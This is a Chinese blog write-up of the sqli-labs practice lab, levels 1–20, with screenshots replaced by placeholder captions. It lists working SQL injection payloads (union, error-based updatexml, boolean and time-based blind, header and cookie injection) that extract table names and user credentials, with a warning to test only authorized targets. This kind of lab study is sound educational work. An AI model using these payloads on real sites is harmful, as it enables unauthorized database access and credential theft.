sqli-labs【Basic Challenges】

最新推荐文章于 2024-06-17 10:43:15 发布
最新推荐文章于 2024-06-17 10:43:15 发布
阅读量928 收藏 1
点赞数
分类专栏： sqli-labs 文章标签： 安全 sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/x647498949/article/details/126575241
版权

目录

Less-1
Less-2
Less-3
Less-4
Less-5
Less-6
Less-7
Less-8
Less-9
Less-10
Less-11
Less-12
Less-13
Less-14
Less-15
Less-16
Less-17
Less-18
Less-19
Less-20

Less-1

1、判断是否存在SQL注入
在这里插入图片描述并且闭合成功
在这里插入图片描述
2、判断字段数
在这里插入图片描述在这里插入图片描述
说明只存在三个字段

3、查看回显点
在这里插入图片描述payload：?id=1.1' union select 1,2,3-- p
使用1.1的原因是：因为联合查询默认会输入前面的数据，我们想得到回显点的话，需要将联合查询前面的不存在，所以可以使用1.1。

4、查看当前的数据库库名
在这里插入图片描述database()：当前数据库的库名

5、爆数据表
payload：?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database()-- p
在这里插入图片描述payload：?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- p
在这里插入图片描述payload：?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1-- p
在这里插入图片描述payload：?id=1.1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 3,1-- p
在这里插入图片描述
6、我们在这里以users表为例，进行爆字段

payload：?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1-- p
在这里插入图片描述payload：?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1-- p
在这里插入图片描述payload：?id=1.1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1-- p
在这里插入图片描述7、爆数据

payload：?id=1.1' union select 1,2,concat(id,username,password) from users limit 0,1 -- p
在这里插入图片描述payload：?id=1.1' union select 1,2,concat(id,username,password) from users limit 1,1 -- p
在这里插入图片描述8、补充知识点

limit作用：获取一表前几条或中间某几行数据。
例如：limit 0,1是获取第一条数据，前面的0表示从第一条开始（第一条数据编号为0），后面的1表示获取1条数据

前面的payload也可以进行更改，可以使用group_concat()，其作用是获取多条数据，但是不建议使用，因为会有长度的限制，有时候会忽略后面的数据，对获取数据库中的数据不利。

靶场和比赛当中要进行拖库的情况会比较多，但是实际上进行拖库的情况会很少，所以拖库请谨慎。

Less-2

1、判断是否存在SQL注入
在这里插入图片描述在这里插入图片描述说明是数字型的SQL注入

2、然后其他的都与第一题相同，在此就不做演示了

Less-3

1、判断注入点
在这里插入图片描述发现无法闭合
在这里插入图片描述在这里加上一个)，发现闭合成功
在这里插入图片描述2、其他步骤与第一关相同，在此不做演示

Less-4

1、判断是否存在SQL注入
在这里插入图片描述在这里插入图片描述基于')的字符型SQL注入

2、其他的步骤与第一问相同

Less-5

1、判断是否存在SQL注入，这一题与之前的题目有所不同
在这里插入图片描述在这里插入图片描述在这里插入图片描述应该是基于单引号的报错注入

2、判断字段数
payload：?id=1.1' or 1=1 order by 3 -- p
在这里插入图片描述在这里插入图片描述说明存在三个字段

3、因为这里没有回显点，所以我们在这里要使用两个函数
updatexml()：具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来。
substr()：分割字符串。

（1）我们先查看数据库库名
payload：?id=1.1' or 1=1 union select updatexml('a',concat('~',database()),'b') -- p
在这里插入图片描述（2）查看数据库security中的数据表
payload：select updatexml('a',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'b')
在这里插入图片描述还有几个数据表就不在此演示了，可以参考第一题

（3）爆字段
payload：?id=1.1' or 1=1 union select updatexml('a',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1)),'b') -- p
在这里插入图片描述还有几个字段在此就不在演示了，与前面的一样

（4）爆数据

这里出了一些问题，原理就是子查询。

Less-6

1、通过判断发现是基于"的报错注入
在这里插入图片描述在这里插入图片描述2、使用1″ union select updatexml(‘a’,concat(‘~’,database()),’b’) — p获取当前数据库的库名
在这里插入图片描述3、使用1″ union select updatexml(‘a’,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),’b’) — p进行爆表

在这里插入图片描述数据库的第一个表
在这里插入图片描述数据库的第二个表
在这里插入图片描述数据库的第三个表
在这里插入图片描述数据库的第四个表。

4、进行爆列名，在此以users表为例，使用1" union select updatexml('a',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),'b') -- p
第一个字段
在这里插入图片描述第二个字段
在这里插入图片描述第三个字段
在这里插入图片描述5、进行爆数据，使用1" union select updatexml('a',concat('~',(select concat(id,username,password) from users limit 0,1)),'b') -- p
在这里插入图片描述第六关其实是跟第五关相似。

Less-7

1、这里通过测试发现可能存在基于'))的字符型报错注入
在这里插入图片描述在这里插入图片描述在这里插入图片描述2、其他的跟第六关相同，在此就不做演示了

Less-8

1、通过测试发现可能是基于单引号的布尔盲注
在这里插入图片描述在这里插入图片描述2、使用1′ and (length(database())>7) — p得到数据库的长度为8
在这里插入图片描述在这里插入图片描述3、使用and ascii(substr(database(),1,1))>97得到数据库的库名，因为这里一个一个测试的话会比较麻烦，所以我们可以使用burp的爆破模块进行爆破

（1）使用burp进行抓包，然后我们发送到爆破模块
在这里插入图片描述（2）选择爆破点
在这里插入图片描述（3）选择数字爆破
在这里插入图片描述（4）然后我们点击start开始爆破，注意：这里在后面将大于号修改为等于号了
在这里插入图片描述在这里就是找不同，所以在这里就是115，转换为字母就是s

爆破第二个的话就是使用and ascii(substr(database(),2,1))>97，以此类推，在此就不做演示了。也可以使用burp进行多爆破点爆破，在此不演示，感兴趣的小伙伴可以关注后来的文章，感谢！

4、后面的在此也不再演示，用的payload如下：

获取表的长度：and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5

获取表的表名：and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97

判断列的长度：and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>2

获取列的列名：and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>48

获取数据：ascii(substr((select concat(id,username,password) from users limit 0,1),1,1))>20

Less-9

1、通过测试发现是基于单引号的时间盲注，使用1' and sleep(5) -- p
在这里插入图片描述2、使用and if(length(database())>11,1,sleep(5)) -- p判断数据库的长度
在这里插入图片描述在这里插入图片描述所以长度为8。
3、使用1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101,1,sleep(5)) -- p获取数据库的库名，在此不做演示。

4、需要使用的payload如下：

判断表的长度：and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,1,sleep(5)) -- p

获取数据表的表名：and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,1,sleep(5)) -- p

判断列的长度：and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>2,1,sleep(5)) -- p

获取列的列名：and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>48,1,sleep(5)) -- p

Less-10

1、通过测试发现是基于双引号的时间盲注
在这里插入图片描述2、其他的与第九关相似，在此不再演示

Less-11

1、从界面可以看出来是一个post注入。通过测试发现是基于单引号的字符型显错注入
在这里插入图片描述在这里插入图片描述2、判断列数，使用admin' order by 2 -- p
在这里插入图片描述在这里插入图片描述所以字段数为2

3、再使用1' union select 1,2 -- p判断注入点
在这里插入图片描述4、再使用1' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 -- p爆数据表
在这里插入图片描述在这里插入图片描述在这里插入图片描述5、在此就不在演示了，其他的步骤与平常的显错注入相同，如果不明白的小伙伴可以查看SQL的前五关

Less-12

1、通过测试发现是基于")的字符型注入
在这里插入图片描述在这里插入图片描述2、其他的步骤在此不再演示，与上面的相同

Less-13

1、通过测试发现是基于')的布尔盲注。
在这里插入图片描述在这里插入图片描述2、使用admin') and (length(database())>1) -- p判断数据库的长度
在这里插入图片描述在这里插入图片描述使用数据库的长度为8。

3、其他的步骤在此也不再演示了，如果有不明白的小伙伴可以查看6-10关

Less-14

1、通过测试发现是基于双引号的布尔盲注
在这里插入图片描述在这里插入图片描述2、其他步骤与第十三关相同，在此不做演示。

Less-15

1、通过测试发现是基于单引号的时间盲注，可以使用admin' and sleep(5) -- p进行判断
在这里插入图片描述2、在此不做演示，不明白的小伙伴可以查看第九关

Less-16

一、通过题目提示发现是双引号的时间盲注，使用的是admin") and sleep(5) -- p
在这里插入图片描述二、其他的步骤与第十五关相同，在此不再演示了

Less-17

一、测试之后发现是基于单引号的字符型报错注入，但是这里的注入点是在密码框内，使用的是1'
在这里插入图片描述二、使用1' -- p发现闭合成功
在这里插入图片描述然后我们抓包进行报错注入处理

（1）爆当前数据库的表名，使用1' and updatexml('a',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'b') -- p
在这里插入图片描述第二个表：
在这里插入图片描述第三个表：
在这里插入图片描述第四个表：
在这里插入图片描述（2）然后爆表，以users表为例：
在这里插入图片描述第二个字段：
在这里插入图片描述（3）通过1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) -- p爆数据
在这里插入图片描述

Less-18

一、根据题目标题可知是UA头的head注入

二、然后对UA头进行单引号闭合，发现会报错
在这里插入图片描述三、然后使用报错注入，语句为1' and 1=1#，但是我们发现会报错，查看源码
在这里插入图片描述如果使用的是1' and 1=1#的话，就会变成INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('1' and 1=1#', '$IP', $uname)，而前后数据量就会不一样了，所以会造成报错

一个简单的办法就是使用1' and '1=1，插入语句就会变成INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('1' and '1=1', '$IP', $uname)，1=1恒为真，所以无影响
在这里插入图片描述四、使用1' and updatexml('a',concat('~',database()),'b') and '1=1进行报错注入得到数据库的库名
在这里插入图片描述

获取表名：
1′ and updatexml(‘a’,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),’b’) and ‘1=1
获取列名：
1′ and updatexml(‘a’,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)),’b’) and ‘1=1
获取数据：
1′ and updatexml(‘a’,concat(‘~’,(select concat(username,password) from users limit 0,1)),’b’) and ‘1=1

Less-19

一、根据题目可知是Referer头的head注入

二、对Referer头进行注入，发现了注入点
在这里插入图片描述三、其他的跟上面的一样，在此就不在赘述了

Less-20

一、根据题目标题，说是cookie的报错注入

二、先进行登录，然后才会产生cookie，然后使用单引号闭合发现会报错，这里的uname是抓包得到的
在这里插入图片描述三、其他的步骤与上面的相同，在此也不再赘述了

以上是自建的靶场，请遵守网络安全法，未经允许不得进行网站渗透测试。

如果文章有何不妥之处，请您指出。

更多的sqli-labs靶场解题思路更新中，敬请期待……

小菜猴子_x
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
SQLI-LABS（Basic Challenges上）
yxl_d的博客
06-11 560
最近学习一下sql注入，领教一下Sqli-labs的魅力。 Sqli-labs下载 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) 打开界面： 尝试?id=1: 闭合符号一般是',",或无闭合符号或')，")；注释符号为--+。 尝试?id=1': 很明显单引号闭合，再?id=1'--+注释掉后面的： 接下来就要判...
SQL注入学习——sqli-labs闯关(Basic Challenges)
未完成的歌~的博客
07-28 2645
今天开始学习 SQL 注入的相关知识，通过 sqli-labs 靶场来练习。靶场地址SQL注入(SQL Injection)是一种常见的 Web 安全漏洞，攻击者通过构造SQL语句与后台数据库进行交互，达到获取或修改一些敏感数据，或者利用潜在的数据库漏洞进行攻击的目的。何为盲注？盲注就是在 sql 注入过程中，sql 语句执行后，查询的数据不能回显到前端页面上。此时，我们需要利用一些特殊的方法来得到数据，这个过程称之为盲注。盲注主要分为三类：基于布尔的 SQL 盲注基于时间的 SQL 盲注。........
sqli-labs做题记录(全65)
ma963852的博客
03-18 5007
1，字符型 http://192.168.2.6/sqli-labs/Less-1/?id=-1' union select 1,2,3; --+ 2，数值型 http://192.168.2.6/sqli-labs/Less-2/?id=-1 union select 1,2,3; --+ 3，id值加了括号，需要闭合掉 http://192.168.2.6/sqli-labs/Less-3/?id=-1')union select 1,2,3 ; --+ 4，由双引号闭合，且有括号 htt
SQLI-LABS(Basic Challenges)
volcano的博客
12-04 707
sql注入 SQL注入是比较常见的网络攻击方式之一，一般分为数字型和字符型，攻击者在HTTP请求中输入含有恶意构造且语法合法的SQL语句，只要应用程序中没有做严格的处理（例如校验或预拼接），那么就会出现SQL注入漏洞危险。 Sqli-labs Sqli-labs-master是一个用来学习sql注入的闯关游戏。 之前看的教程中，普通题目大多数都是用union联合查询注入的，我用的是基于updatexml()函数的报错注入，这里也是参考大佬的博客慢慢学习。 函数解释： 　　UPDATEXML (XML_doc
SQLi-LABS Page-1(Basic Challenges)1-22关
2301_77887106的博客
05-18 800
3.使用1' and if(ascii(substr((select column_name from information_schema.columns where table_schema="指定数据库名字" and table_name="指定数据库表" limit 0,1),1,1))=55,sleep(2),0)--+来对数据库的首个字母所属的ascii值正逐个爆破，直到触发睡眠为止。id=1'+and+left(database(),2)='s§a§'--+，继续爆破，可以看到第二位为e。
SQLi-LABS Page-1(Basic Challenges) 解题
qq_51919093的博客
06-11 1032
关于Sqli-labs靶场的搭建，这篇文章只做解题。
SQLi-LABS Page-4 (Challenges)
qq_61774705的博客
08-10 440
sql
SQL注入【SQLi-LABS Page-1(Basic Challenges Less1-Less22)】
小谢的博客
12-05 1796
本篇博客用于记录`SQLi`实验中第一阶段，即基础的`sql`注入，包括了GET和POST联合注入、时间盲注、布尔盲注、报错盲注、文件上传注入等并且内含一些笔者写的自动化注入代码~
sqli-labs Basic Challenges Less2-3
守卫者安全
03-23 135
Less-2 GET - Error based - Intiger based 从题目来看应该是get型的基于报错的数字型注入 打开第二关如下 如同第一关一样先加单引号通过报错信息判断注入类型 http://www.bj.com/sqli-labs/Less-2/index.php?id=1' 可以看到返回的报错信息是 You have an error in your ...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
安装sqli-labs
10-22
安装sqli-labs靶场环境 本文旨在指导读者安装sqli-labs靶场环境，用于学习和练习SQL注入漏洞。sqli-labs是一款功能强大且易于使用的靶场环境，包含多种最新的漏洞，可以满足不同级别的用户需求。 为什么要使用本地...
windows环境下安装sqli-labs
11-04
windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。
数字时代网络安全即服务的兴起
网络研究观
06-11 599
网络安全即服务是一种通过基于云的服务来管理安全需求的综合方法。
面试经验分享 | 24年6月某安全厂商HW面试经验
最新发布
zkaqlaoniao的博客
06-17 372
也希望大家有什么护网相关的需求和建议都可以留在评论区，大家讨论下，嘿嘿嘿，希望大家伙都可以通过今年的护网面试。申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。反射型XSS：反射型XSS攻击是一次性的攻击，当受害者点击恶意链接url的时候，恶意代码会直接在受害者的主机上的浏览器执行。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。
如何解决跨境传输常见的安全及效率问题？
文件数据安全交换
06-14 639
飞驰云联是中国领先的数据安全传输解决方案提供商，长期专注于安全可控、性能卓越的数据传输技术和解决方案，公司产品和方案覆盖了跨网跨区域的数据安全交换、供应链数据安全传输、数据传输过程的防泄漏、FTP的增强和国产化替代、文件传输自动化和传输集成等各种数据传输场景。推荐飞驰云联的《Ftrans企业数据跨境传输解决方案》，为企业提供了一个理想的跨境传输方案，帮助企业克服数据跨境传输的挑战，实现数据的高效、安全流通。采用优化的传输协议和算法，大大提升超大文件传输性能，能够在最短的时间内完成大文件的传输。
操作系统安全：Windows系统安全配置，Windows安全基线检查加固
wangyuxiang946的博客
06-11 1478
Windows安全基线检查标准，Windows加固方式
Java中的安全管理器和权限控制
weixin_53840353的博客
06-13 647
Java安全管理器是一种允许应用程序在运行时检查对系统资源（如文件和网络）的访问权限的机制。通过定义和安装自定义的安全策略，程序员可以控制哪些代码能够执行特定的操作，从而保护系统资源的安全。@Override// 自定义安全策略throw new SecurityException("写文件操作被禁止！");try {// 尝试写文件操作System.err.println("安全异常：" + e.getMessage());在这个示例中，自定义的禁止所有文件写操作。
sqli-labs-master
07-22
sqli-labs-master是一个SQL注入漏洞测试平台，安装教程如下： 1. 下载sqli-labs-master压缩包并解压缩。 2. 安装LAMP或WAMP环境，确保Apache、MySQL和PHP已经安装并配置好。 3. 将解压缩后的sqli-labs-master...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小菜猴子_x

你的鼓励将是我创造的最大动力！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值